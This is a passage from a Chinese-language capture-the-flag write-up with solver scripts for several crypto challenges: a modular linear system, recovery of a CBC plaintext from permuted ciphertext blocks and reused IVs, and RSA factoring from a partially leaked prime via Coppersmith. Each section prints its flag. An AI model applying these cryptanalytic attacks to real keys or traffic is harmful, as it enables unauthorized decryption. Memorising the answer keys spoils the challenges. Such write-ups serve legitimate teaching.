Zp = Zmod(p)
A = matrix(Zp, A_rows)
b = vector(Zp, b_values)

solutions = A.solve_right(b)
basis = A.right_kernel().basis()

k = 1
while True:
    tmp = solutions + k*basis[0]
    if chr(int(tmp[0])) == 'f':
        print(''.join([chr(int(c)) for c in tmp]))
        break
    k += 1

# flag{1f59622f-ccbc-45c0-b9f5-731a51343027}

[Cry]CBC之舞

CBC模式下,明文与上一密文或者IV异或后进行key加密。

两次加解密key相同,IV不同,明密文的块顺序不同,中间的key加密关系相同。找出块的对应关系,先通过异或得到没有异或的明文,再按照IV2进行正确顺序的异或得到flag。

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

IV1 = bytes.fromhex("1e5d251ea78ef68a1282079fd028c747")
IV2 = bytes.fromhex("18777ae4c1a29f4c5db8ba6c5dfe72f1")
m1 = bytes.fromhex("f560fd28ed5c5ce7d952eb44b47007e702f42dbb54540dfc78467f48933dbb01ebcf520fd3d23a211d3b4e8c06261966cb178525c25b8058ff792e0f251d3d15")
c1 = bytes.fromhex("caf7bc1223c17f848aec854a87b8958d4c518f7287663bfae0b6a5a1e0f0eb95b50c9ea6789a7d77fda5f50d1b8a2183b40cab693ebacf32a9b59faf3b0084ff")
c2 = bytes.fromhex("b40cab693ebacf32a9b59faf3b0084ffcaf7bc1223c17f848aec854a87b8958db50c9ea6789a7d77fda5f50d1b8a21834c518f7287663bfae0b6a5a1e0f0eb95")

c1_blocks = [c1[i:i+16] for i in range(0, len(c1), 16)]
c2_blocks = [c2[i:i+16] for i in range(0, len(c2), 16)]
m1_blocks = [m1[i:i+16] for i in range(0, len(m1), 16)]

perm = [0] * 4
for i in range(4):
    for j in range(4):
        if c1_blocks[i] == c2_blocks[j]:
            perm[i] = j
            break

print(perm)
# [1, 3, 2, 0]

decrypted_blocks = [bytes([0]*16) for _ in range(4)]
for i in range(4):
    pos = perm.index(i)
    if pos == 0:
        decrypted_blocks[i] = bytes([m1_blocks[pos][j] ^ IV1[j] for j in range(16)])
    else:
        decrypted_blocks[i] = bytes([m1_blocks[pos][j] ^ c1_blocks[pos-1][j] for j in range(16)])

m2_blocks = [bytes([0]*16) for _ in range(4)]
for i in range(4):
    if i == 0:
        m2_blocks[i] = bytes([decrypted_blocks[i][j] ^ IV2[j] for j in range(16)])
    else:
        m2_blocks[i] = bytes([decrypted_blocks[i][j] ^ c2_blocks[i-1][j] for j in range(16)])

m2 = b''.join(m2_blocks)
print(m2)
# b'flag{cbc_dancing_1s_the_best_XD_miaowu~_wangang~}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'

[Cry]被泄露的素数

开始还以为是二元copper。。。输出一下发现缺失的高位只有3,直接爆破,低位正常coppersmith即可

"""SageMath version 10.7"""

from Crypto.Util.number import *

n = 21934359804505952036862374470121480969133157443403593676896735938967557380443712142948340045099502553395200377704119756795591494784154969814547228557820800704252137319116648069964954630897500682893049024415124688093092305470777707518715866086606412935218188227137641451025015198528792875781144610650284639622563092129651357421263335843442984066367152832534441036576325851144177987730637618561519998767356432693944920792456483071919398611969079921679238886430086602278453518529089393964226042148309150493671461870755024341916271456658974034765995703658414257129652933251962572776586195115459121872074657802310744772937
e = 65537

with open("ciphertext.bin", "rb") as f:
    c = bytes_to_long(f.read())

with open("partial_p.txt", "r") as f:
    p_know = int(f.read().replace("???", ""), 16)

t1 = int(1024 * 2/3) - p_know.bit_length() # 高位缺少 == 3 很小!!!
t2 = 1024 - int(1024 * 2/3) # 低位未知
t3 = 1024 - t1

P.<x> = PolynomialRing(Zmod(n))

for k in range(1,2^4):
    f = k*2^t3 + p_know*2^t2 + x 
    res = f.small_roots(X=2^(t2+1), beta=0.4)
    if res:
        p = int(k*2^t3 + p_know*2^t2 + res[0])
        break

q = n // p
print(long_to_bytes(pow(c,inverse(e,(p-1)*(q-1)),n)))
# b'flag{wh3n_th3_m0dul3_i3_bi9_en0ugh_U_c@n_c0ns1der_u3ing_coppersmith}'